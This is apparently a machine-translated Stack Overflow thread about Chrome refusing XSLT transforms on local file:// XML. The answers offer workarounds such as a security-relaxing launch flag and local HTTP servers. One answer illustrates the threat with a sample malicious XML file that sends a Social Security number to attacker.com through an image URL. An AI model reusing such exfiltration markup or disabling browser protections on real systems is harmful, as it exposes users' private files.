O Chrome pode ser feito para realizar uma transformação XSL em um arquivo local?

91

Eu estava pesquisando o xslt e comecei a testar os exemplos no w3schools.

No entanto, quando salvo o xml e o xsl em arquivos e tento abri-los localmente, o chrome não realizará a transformação xsl. Apenas mostra uma página em branco.

Eu adicionei a <?xml-stylesheet type="text/xsl" href="style.xsl">tag ao documento xml, e o firefox a renderiza como deve ser. Além disso, se eu olhar os arquivos por meio de um servidor da web, o chrome exibe o arquivo como deve ser.

Será que o Chrome tem problemas para encontrar as informações da folha de estilo quando o link é local? Alterar o href para file:///C:/xsl/style.xslnão fez nenhuma diferença.

Atualização: Este parece ser um efeito colateral de uma política de segurança para não tratar file: /// * como a mesma origem. Isso faz com que o seguinte erro apareça no console:

Tentativa insegura de carregar o arquivo URL: /// C: /xsl-rpg/style.xsl do quadro com o arquivo URL: /// C: /xsl-rpg/data.xml. Domínios, protocolos e portas devem corresponder.

Zaz
fonte
1
Parece que a partir do file:protocolo, o Chrome gera o mesmo erro de domínio.
1
No IE11 ele funciona. O Chrome está ficando malvado.
Marco Demaio

Respostas:

74

A resposta curta é "Não, use um dos diversos conjuntos de navegadores que existem" .

O motivo pelo qual isso não funciona é devido a uma preocupação de segurança que o Chrome abordou de forma controversa [1] [2] [3] [4] , bloqueando arquivos XML de acessar arquivos XSLT locais no mesmo diretório, enquanto HTML os arquivos podem acessar arquivos .CSS no mesmo diretório sem problemas.

Em todas as questões citadas acima, os usuários pediram uma mensagem de erro mais clara (já que os domínios, protocolos e portas correspondem de fato), ou pelo menos exibindo o XML sem o estilo. Os desenvolvedores do Chrome ignoraram essas solicitações.

Zaz
fonte
18
Embora sua preocupação com a segurança faça sentido, os arquivos XML devem ser capazes de carregar folhas de estilo XSL do mesmo diretório, assim como os arquivos HTML podem carregar imagens e scripts do mesmo diretório. Há um problema que você pode marcar, mas a equipe de desenvolvimento do Chrome proibiu novos comentários sobre ele - apesar do fato de reclamarem que não podem quantificar o quanto os usuários desejam que a origem do arquivo local seja relaxada.
Dan Dascalescu
1
Fato interessante: Safari no Mac (8.0) funciona bem com XSLT local, mas Safari no simulador iOS (8) (e suponho que também no iOS) recebi o mesmo erro como no Chrome "Domínios, protocolos e portas devem corresponder " Mas se eu for implementar UIWebView no aplicativo e carregar XML com XSLT, tudo funcionará bem.
Paul Brewczynski
pouco sentido em usar outro navegador quando a tarefa é corrigir a renderização xslt específica em navegadores Chrome ...
n611x007
Uma abordagem que funciona com o Chromium é embutir o arquivo XSL no arquivo XML como um dado: URI text / xsl.
EricLaw
58

Você pode fazer isso localmente usando sinalizadores de linha de comando do Chrome.

A bandeira específica é --allow-file-access-from-files

No OS X: em Terminal.app execute /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

No Windows: no prompt de comando, execute %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Nota: Você provavelmente terá que sair do Chrome se ele estiver sendo executado de outra forma Ch

Jake Burton
fonte
Isso não parece estar funcionando para mim no Windows 7. Encontrei chrome.exe localizado aqui:, C:\Program Files (x86)\Google\Chrome\Applicatione o comando --allow-file-access-from-files é executado bem, mas meu documento XML local (transformado por um arquivo XSLT local) não é exibido.
Rick apoia Monica de
2
Talvez você tenha que matar todos os processos do Windows em execução para chrome.exe no gerenciador de tarefas do Windows manualmente. Para mim, isso funcionou.
Christian Schulzendorff
1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-filestrabalhou para mim. Obviamente, estou executando o Chrome Canary. Depois de executar este comando, uma nova janela do Chrome deve abrir e permitir que você execute sua transformação XSL.
SeanLF
2
Mais rápido no Windows 7: tecla da janela + R; "chrome --allow-file-access-from-files"; Entrar.
Aaron Campbell
Ou no PowerShell (mata cromos anteriores para você):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Aaron Campbell
16

Se você quiser manter o OP, a resposta é Não (como outros apontaram), mas uma maneira de corrigir o problema é rodar um servidor web simples e abrir arquivos via http no chrome. Se você tiver o python 2.x instalado, poderá executar um servidor da web digitando:

python -m SimpleHTTPServer

Ou em python 3.x:

python3 -m http.server

e abra o arquivo usando http://localhost:8000/yourfile.xmlno Chrome. Esperançosamente, você só quer fazer seu trabalho e não é uma coisa crucial ter que abrir o arquivo usandofile://

morfeu
fonte
Este é um post antigo, mas ótima dica! Eu usei o pacote npm do servidor http :)
jamiebarrow
4

Demorou um pouco para decifrar a página de bug do Chrome - eles estão muito interessados ​​em não explicar qual é o problema e por que escolheram quebrar todos em vez de não quebrar todos.

Suponha que eu tenha um arquivo XML - em algum lugar - no meu disco rígido, por exemplo:

C: \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

E uma entidade maliciosa - de alguma forma - conseguiu colocar um arquivo Xml malicioso no meu computador, por exemplo:

C: \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

Imagine TrojanVirusWorm.xml contém uma instrução de processamento de folha de estilo ( PI ):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

O invasor então instrui meu navegador a navegar até o trojanVirusWorm.xmlarquivo salvo localmente .

Aparentemente, há uma maneira de um arquivo XML ler o conteúdo do arquivo XSD (em vez de ser transformado pelo arquivo XSD):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Não entendo como um arquivo XML pode ler um arquivo de folha de estilo. Mas a equipe do Chrome nos garante que é um perigo e que não pode ser resolvido.

Todos os outros navegadores resolveram isso. Eles resolveram porque não é um problema .

Ian Boyd
fonte
3

Minha solução alternativa para ver um xml de acordo com um arquivo xsl

Suponha que temos um some_file.xml com cabeçalhos:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. Baixamos o arquivo https://some-site.com/Common.xsle o colocamos próximo aosome_file.xml
  2. Altere parte do nosso cabeçalho de href="https://some-site.com/Common.xsl"para href="http://localhost:8001/Common.xsl"
  3. Execute no diretório com nossos arquivos - python3 -m http.server 8001
  4. Abra em qualquer navegador http://localhost:8001/some_file.xml
Greg Eremeev
fonte
0

Você pode habilitar o Chrome para renderizar o arquivo XSL alterando as configurações do navegador. Uma abordagem mais segura seria acessá-lo por meio de um servidor da web local, como Visual Studio Code Live Server ou Apache. Consulte XSLT não renderiza em arquivos locais para ver as etapas.

Ryan C. Perry
fonte